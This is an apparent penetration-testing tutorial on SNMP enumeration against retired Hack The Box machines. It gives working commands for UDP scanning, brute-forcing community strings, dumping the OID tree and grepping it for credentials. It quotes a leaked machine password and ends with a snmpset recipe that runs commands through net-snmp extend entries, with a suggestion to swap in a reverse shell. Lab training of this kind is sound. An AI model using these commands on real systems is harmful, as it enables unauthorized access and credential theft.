SNMP enumeration: snmpwalk and passwords on port 161/udp

SNMP is the protocol network gear and servers use so a monitoring system can ask how they are doing. The problem is that, when misconfigured, it tells anyone the process list with its arguments, the users, the installed software and the network interfaces. On Hack The Box there are whole machines whose way in is right there, like Pandora, where a process carries a password on its command line.

Because it runs over UDP, nmap's default scan does not see it. That is why so many people skip it.

The minimum you need to know

• It listens on 161/udp.
• In v1 and v2c the "password" is a community string sent in clear text. The factory defaults are public (read) and private (write).
• v3 has a real username and password and is much harder to attack.
• The data lives in a tree of OIDs (1.3.6.1.2.1.1.5.0 is the host name). MIBs translate those numbers into readable names (SNMPv2-MIB::sysName.0).

Requirements

On Kali or Parrot:

sudo apt install snmp snmp-mibs-downloader onesixtyone
sudo sed -i 's/^mibs :/# mibs :/' /etc/snmp/snmp.conf

The second line enables the MIBs: without it you only see numbers. To practise, use any of the retired machines at the end of this guide; here we use 10.10.11.136 (Pandora).

Step 1: find the port

sudo nmap -sU -p161 -sV -n -Pn 10.10.11.136

PORT    STATE SERVICE VERSION
161/udp open  snmp    SNMPv1 server; net-snmp SNMPv3 server (public)

The (public) at the end already tells you the public community works. If you do not know which UDP ports to check, run sudo nmap -sU --top-ports 20 as the nmap guide explains.

Step 2: guess the community string

If public does not answer, try a wordlist. onesixtyone is very fast:

onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt 10.10.11.136

10.10.11.136 [public] Linux pandora 5.4.0-... x86_64

while read c; do
  snmpwalk -v2c -c "$c" -t 1 -r 0 10.10.11.193 sysName.0 >/dev/null 2>&1 && echo "[+] $c"
done < /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt

Step 3: dump everything

With the community, dump the whole tree to a file. snmpbulkwalk asks for many values per packet and is much faster than snmpwalk:

snmpbulkwalk -v2c -c public -Cr1000 10.10.11.136 . > snmp.txt
wc -l snmp.txt

It can take a couple of minutes and leave you with tens of thousands of lines. Do not read them top to bottom: search.

Step 4: where to look

The first thing to look for is passwords:

grep -iE 'pass|pwd|user|secret|key|-p ' snmp.txt

On Pandora a process with a username and password in its arguments shows up straight away:

HOST-RESOURCES-MIB::hrSWRunParameters.<PID> = STRING: "-u daniel -p HotelBabylon23"

To query a single branch, pass its OID or name:

snmpwalk -v2c -c public 10.10.11.136 hrSWRunParameters
snmpwalk -v2c -c public 10.10.11.136 NET-SNMP-EXTEND-MIB::nsExtendObjects

What you can find on HTB

• A password in a process: Pandora. It gets you in over SSH.
• A password in the system description: AirTouch.
• A serial number that is the password of the admin web interface: Carrier.
• The hash of an IPsec VPN pre-shared key: Conceal, where there is no way in without SNMP.
• The server's IPv6 address, with ports that are closed over IPv4: Sneaky.
• A non-standard v2c community that only brute force finds: Mentor.

If the community can write

With a write community (private or whichever you find) on a Linux net-snmp you can run commands by creating an extend entry:

snmpset -m +NET-SNMP-EXTEND-MIB -v2c -c private 10.10.10.10 \
  'nsExtendStatus."pwn"' = createAndGo \
  'nsExtendCommand."pwn"' = /bin/sh \
  'nsExtendArgs."pwn"' = '-c "id > /tmp/pwn"'
snmpwalk -v2c -c private 10.10.10.10 NET-SNMP-EXTEND-MIB::nsExtendObjects

The command runs when you query the nsExtendObjects branch, as the snmpd service user (often Debian-snmp, sometimes root). Swap id > /tmp/pwn for a reverse shell.

Common errors

• Timeout: No Response from 10.10.10.10: wrong community or version. Try -v1 and -v2c before ruling the port out.
• You only see numbers (iso.3.6.1.2.1...): the MIBs are missing. Check the requirements (snmp-mibs-downloader and the mibs : line commented out).
• No Such Object available on this agent at this OID: that branch does not exist on this host. Windows has no nsExtendObjects, for example.
• nmap says open|filtered: that is not an answer. Confirm with snmpwalk -v2c -c public IP sysName.0.

What next

Try every username and password you find against SSH, the website and SMB (SMB and NFS enumeration). Once inside, check /etc/snmp/snmpd.conf: on Mentor the root password was there. The SNMP item is in the recon checklist and there are more commands on the Nmap tool page.